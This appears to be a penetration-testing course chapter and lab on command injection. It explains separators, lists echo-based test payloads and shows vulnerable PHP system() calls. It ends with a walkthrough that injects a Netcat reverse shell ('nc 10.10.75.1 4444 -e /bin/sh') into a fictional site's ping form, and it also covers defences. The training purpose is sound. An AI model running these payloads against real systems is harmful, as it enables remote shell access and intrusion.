Command Injection

Some web apps take user input and run commands with it. If the app is vulnerable, attackers can add extra commands to the input, which the app then executes along with the normal command. On Linux, these extra commands are separated by a ;, and on Windows, by an &.

Web apps sometimes run programs directly without a shell, making them vulnerable to command injection if they execute attacker-supplied commands. These commands can come from various input methods like URL parameters, form data, cookies, or others.

The attacker usually runs commands with the web server's limited permissions. Even though these permissions are restricted, they can still use them to move to other systems or try to gain more control over the server.

Identifying Command Injection Vulnerabilities

To test for command injection vulnerabilities, attackers often try various commands and separators to see if the system is vulnerable. For instance, with a URL like http://target.tgt/checkLicense?id=PARAM, where PARAM could be different values, attackers test different id values to see if they can cause unexpected system behavior or run additional commands.

We can test how the system responds by changing the value after id=. This table shows examples of modified inputs that might reveal a command injection issue. We use the echo Injected command for testing because it works on Linux, Windows Command Prompt, and PowerShell.

-h

Watch system output, do you get help when PARAM is -h? Also /?

PARAM ; echo Injected

Unix only, run echo after initial command

echo Injected|

Perl-specific injection when opening a file

PARAM | echo Injected

Run echo after the initial command

PARAM || echo Injected

Run echo if the initial command returns non-zero as the exit status

PARAM & echo Injected

Run initial command as a background task, then run echo immediately

PARAM && echo Injected

Run echo if the initial command returns exist successfully

$(echo Injected)

Unix only, Bash-specific command execution

echo Injected

Unix only, generic process substitution

> (echo Injected)

Unix only, run echo using process substitution

Try other commands besides echo for testing. While echo is common and useful, it doesn’t show results for blind command injection attacks. Blind attacks can still work, but you need to adjust your command to check if it runs. For instance, injecting ping -n6 -w 1000 127.0.0.1 might not show results, but if there's a 5-second delay, it suggests a vulnerability. Alternatively, if you inject a ping command with your IP and see ICMP packets in Wireshark, the injection was successful.

Let's jump into a Lightning Labs event to reinforce this learning objective.

1) Before we can understand command injection attacks, we need to look at command stacking.

Command stacking is a feature in Linux and Windows where a user can run multiple commands on one line. Let's start with a single command: run the ls command.

ls

Here we see the output of the ls command reveals two files. Let's try a different command: run the id command.

id

So far we've seen the output of ls and id separately. By combining the commands into one line separated by a semicolon, we can stack them together. Try it out.

ls ; id

We ran two commands in one line, just by separating them by a delimiter.

2) We can add more commands as well. Repeat the previous line, adding ; ping -c 1 127.0.0.1 to the command line.

ls ; id ; ping -c 1 127.0.0.1

Here we ran three commands in one line, sometimes with additional arguments. You can keep stacking commands by adding more commands separated by semicolons.

3) The semicolon is not the only available command stacking delimiter. In most Linux shells and PowerShell, you can delimit commands with two ampersands. Try it now.

ls && id

When delimiting with a semicolon, the shell will run the next command regardless of the previous command's exit status. With a double ampersand, the command on the right will only execute if the command on the left exits successfully.

4) Let's try an experiment. The ls command has no -z argument - trying to run it will return an error. Stack the ls -z && id commands together to see.

ls -z && id

Notice how the previous command doesn't run id when used with double ampersand. When the command on the left returns an error, the command on the right won't execute.

5) However, we can invert this logic by stacking with double pipe. Re-run the previous command, replacing && with ||.

ls -z || id

This time the id command executes. Using a double pipe for command stacking has the opposite logic of double ampersand: with double pipe, the command on the right executes only if the command on the left returns an error.

Command stacking allows us to run multiple commands in one line. We can delimit the commands using a semicolon, double ampersand, and double pipe, as well as many other options.

Command Injection Attack Walkthrough

An attacker can exploit a command injection flaw by using a web form on the Falsimentis Community Service site, where employees submit their service stories. The form asks for a name, email, a story, and a picture. In this example, the attacker submits typical data, and the system replies with a thank you message and a modified image.

An attacker checks small details about how a website works to find weaknesses. They notice that the site accepts and modifies images, which can be shared on social media. The original file is named MyCommunityService.jpg, but the output file is JoshuaWright.jpg, indicating a possible command injection issue. The attacker doesn’t know the exact code behind this but will experiment with different inputs to find and exploit any vulnerabilities.

Although the attacker won't know what the server is running, let's look at the code written by the developer of this web application in the following excerpt:

$fbrandfile = "upload/" . $_POST["fname"] . $_POST["lname"] . ".jpg";
system("composite csfooter.png " . $uploadfile . " " . $fbrandfile);

The code creates a variable fbrandfile that combines a file path with a name, like upload/JoshuaWright.jpg. Then it uses the composite command to merge two images into a new one. The composite command needs three things: a template image (csfooter.png), the uploaded image ($uploadfile), and the new image file path ($fbrandfile).

When the user enters "Joshua; id #" in a form field, the system command becomes composite csfooter.png upload.jpg Joshua; id #Wright.jpg. The command creates an image named Joshua but also runs id as a second command due to the ; separator. This is a command injection vulnerability: attackers can use such input fields to run their own commands on the server, potentially taking control of it.

Command Injection Defenses

To prevent command-injection attacks, teach web developers to handle user input safely and avoid running risky commands. Regularly test your systems for vulnerabilities to catch issues before attackers do.

To identify issues, check for strange outbound traffic from web servers. For example, is it normal for a web server to ping outside or start file-sharing connections like SMB? This could signal a problem. Also, watch for changes like new accounts added by an attacker.

Fix the web app to resolve the flaw. If it takes too long, use a Web Application Firewall (WAF) as a temporary solution.

Lab 4.3: Command Injection Attack

In this lab we will start to explore the Rook Aviary website. Rook Aviary, as a provider of analog communication services, is an acquisition target for Falsimentis, Corp. You have been asked to complete a thorough evaluation of the Rook Aviary website as part of the due diligence evaluation prior to acquisition.

Let's navigate to the Rook Aviary site at http://www.rookaviary.com to access the target site.

Let's start by exploring the website to understand its services. Take a moment to get familiar with how it works, and find the pages for key functions.

let's examine the System Connectivity Checker. Click the Connectivity Checker link in the website menu options.

This feature lets you test connectivity by entering an IP address. Let's type 127.0.0.1 and click Submit. The system will respond with a result like this.

This is a common case where a web app takes user input, uses it to run a local command, and returns the result. Similar examples are often found in home routers and IoT devices. The back-end code might look like this:

system("ping -c 1 $USERINPUT_IPADDRESS");

Since we can use system input to run a command (ping), we want to test it again. This time, let's try using 127.0.0.1 -h as the input.

Instead of the usual ping response, we see the error "ping: -h: Try again." This happens when ping gets an unexpected argument after an IP address. It could signal a command injection vulnerability, as we can make the ping command handle unexpected input.

This time let's enter just the -h argument, with no IP address, then click the submit button.

The help message suggests that the system processes our input without verifying it. Since our input goes directly to the ping utility unchecked, the system may be vulnerable to command injection. Next, we'll test ways to confirm if this vulnerability can be exploited.

To exploit a command injection, let's enter one or more commands to run on the system. We'l use the IP address 127.0.0.1, but add ; ls after it to separate the IP and run a second command, like this.

We found a command injection vulnerability, but the system blocks adding extra commands with a semicolon. Luckily, there are other special characters we can use to run multiple commands.

Let's try again using (|| or &&).

-h || ls
127.0.0.1 && ls

Next, let's use command injection to get a reverse TCP shell on the server with Netcat. Let's set up a Netcat listener, then use the injection to send a shell to the listener at IP 10.10.75.1.

First, we'll start a TCP port listener.

nc -l -p 4444

Next, let's inject a Netcat reverse TCP connection to our Slingshot Linux VM (10.10.75.1:4444) using the command 127.0.0.1 && nc 10.10.75.1 4444 -e /bin/sh

127.0.0.1 && nc 10.10.75.1 4444 -e /bin/sh

We won't see a response in the webpage immediately since it is waiting for the injected command to complete execution. Let's return to the terminal window where we started the Netcat listener and we will see a connection.

Though we don't gain extra privileges, the reverse TCP connect-back session makes it easier to run commands on the vulnerable site than using the web command injection interface.

Last updated